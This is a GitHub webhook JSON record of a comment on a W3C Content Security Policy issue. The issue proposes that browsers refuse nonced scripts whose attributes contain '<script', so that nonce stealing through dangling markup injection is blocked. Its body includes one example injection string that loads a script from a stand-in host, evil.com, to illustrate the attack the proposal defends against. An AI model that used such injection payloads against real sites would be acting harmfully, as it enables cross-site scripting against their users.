{"action":"created","issue":{"url":"https://api.github.com/repos/w3c/webappsec-csp/issues/98","repository_url":"https://api.github.com/repos/w3c/webappsec-csp","labels_url":"https://api.github.com/repos/w3c/webappsec-csp/issues/98/labels{/name}","comments_url":"https://api.github.com/repos/w3c/webappsec-csp/issues/98/comments","events_url":"https://api.github.com/repos/w3c/webappsec-csp/issues/98/events","html_url":"https://github.com/w3c/webappsec-csp/issues/98","id":163376690,"number":98,"title":"Prevent nonce stealing by looking for \"<script\" in attributes of nonced scripts","user":{"login":"arturjanc","id":665379,"avatar_url":"https://avatars.githubusercontent.com/u/665379?v=3","gravatar_id":"","url":"https://api.github.com/users/arturjanc","html_url":"https://github.com/arturjanc","followers_url":"https://api.github.com/users/arturjanc/followers","following_url":"https://api.github.com/users/arturjanc/following{/other_user}","gists_url":"https://api.github.com/users/arturjanc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturjanc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturjanc/subscriptions","organizations_url":"https://api.github.com/users/arturjanc/orgs","repos_url":"https://api.github.com/users/arturjanc/repos","events_url":"https://api.github.com/users/arturjanc/events{/privacy}","received_events_url":"https://api.github.com/users/arturjanc/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":{"url":"https://api.github.com/repos/w3c/webappsec-csp/milestones/1","html_url":"https://github.com/w3c/webappsec-csp/milestone/1","labels_url":"https://api.github.com/repos/w3c/webappsec-csp/milestones/1/labels","id":1980262,"number":1,"title":"CSP3 CR","description":"","creator":{"login":"mikewest","id":1497,"avatar_url":"https://avatars.githubusercontent.com/u/1497?v=3","gravatar_id":"","url":"https://api.github.com/users/mikewest","html_url":"https://github.com/mikewest","followers_url":"https://api.github.com/users/mikewest/followers","following_url":"https://api.github.com/users/mikewest/following{/other_user}","gists_url":"https://api.github.com/users/mikewest/gists{/gist_id}","starred_url":"https://api.github.com/users/mikewest/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mikewest/subscriptions","organizations_url":"https://api.github.com/users/mikewest/orgs","repos_url":"https://api.github.com/users/mikewest/repos","events_url":"https://api.github.com/users/mikewest/events{/privacy}","received_events_url":"https://api.github.com/users/mikewest/received_events","type":"User","site_admin":false},"open_issues":14,"closed_issues":1,"state":"open","created_at":"2016-09-02T14:24:15Z","updated_at":"2016-10-06T14:27:10Z","due_on":null,"closed_at":null},"comments":20,"created_at":"2016-07-01T11:29:09Z","updated_at":"2017-02-20T13:27:37Z","closed_at":null,"body":"Context: \"Dangling markup injection\" can allow attackers to insert unterminated script elements which will consume markup until they encounter a trusted script element with a valid nonce and \"steal\" the nonce value from a legitimate script, allowing malicious script execution:\nhttp://blog.innerht.ml/csp-2015/#danglingmarkupinjection\nhttp://lcamtuf.coredump.cx/postxss/ (Section 2.1) \n\nThis could be prevented by user agents in the following way:\n\nIF the page defines a CSP with a nonce and the browser sees a script with a valid nonce, THEN:\n- Before executing the script check if any of the attribute values (and possibly attribute names) of the script node contain the string \"`<script`\" (case-insensitive).\n- If \"NO\": execute the script. If \"YES\": treat the script as if the nonce was invalid and don't execute.\n\nThe reason this works is that an attacker with an injection point before a legitimately nonced `<script>` will have to consume markup until it reaches its nonce attribute. This means that the opening tag of the legitimate `<script>` element (i.e. \"`<script`\") will have to appear _somewhere_ between the attacker-injected `<script>` and the real nonce attribute:\n`[XSS]<script src=//evil.com injected=\"[/XSS] <b>markup</b> <script id=\"foo\" nonce=\"nonce\">`\n\nIn this case, it would be the attacker-controlled `injected` attribute that would contain the the `<script` substring; in general, the attacker will not be able to avoid having this string present somewhere in the attributes of their injected element. The browser can use this fact to prevent injected scripts from executing, without affecting any legitimate script (which shouldn't have such unescaped strings in their attributes).\n\nTwo caveats:\n- This could also apply to `<style` and `<link` which also support nonces -- it would protect pages which use the same nonce for script-src and style-src.\n- If the attacker controls markup right before the beginning of the legitimate `<script>` tag, and the page allows improperly-encoded output it might be possible to use multi-byte encodings to attempt to evade this check.\n"},"comment":{"url":"https://api.github.com/repos/w3c/webappsec-csp/issues/comments/281079001","html_url":"https://github.com/w3c/webappsec-csp/issues/98#issuecomment-281079001","issue_url":"https://api.github.com/repos/w3c/webappsec-csp/issues/98","id":281079001,"user":{"login":"mikewest","id":1497,"avatar_url":"https://avatars.githubusercontent.com/u/1497?v=3","gravatar_id":"","url":"https://api.github.com/users/mikewest","html_url":"https://github.com/mikewest","followers_url":"https://api.github.com/users/mikewest/followers","following_url":"https://api.github.com/users/mikewest/following{/other_user}","gists_url":"https://api.github.com/users/mikewest/gists{/gist_id}","starred_url":"https://api.github.com/users/mikewest/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mikewest/subscriptions","organizations_url":"https://api.github.com/users/mikewest/orgs","repos_url":"https://api.github.com/users/mikewest/repos","events_url":"https://api.github.com/users/mikewest/events{/privacy}","received_events_url":"https://api.github.com/users/mikewest/received_events","type":"User","site_admin":false},"created_at":"2017-02-20T13:27:37Z","updated_at":"2017-02-20T13:27:37Z","body":"Yeah. We did a substring match for the value, I'm not sure why we didn't do that for the name. Thanks for the poke, @zcorpan!"}}
{"actor":{"display_login":"mikewest"}}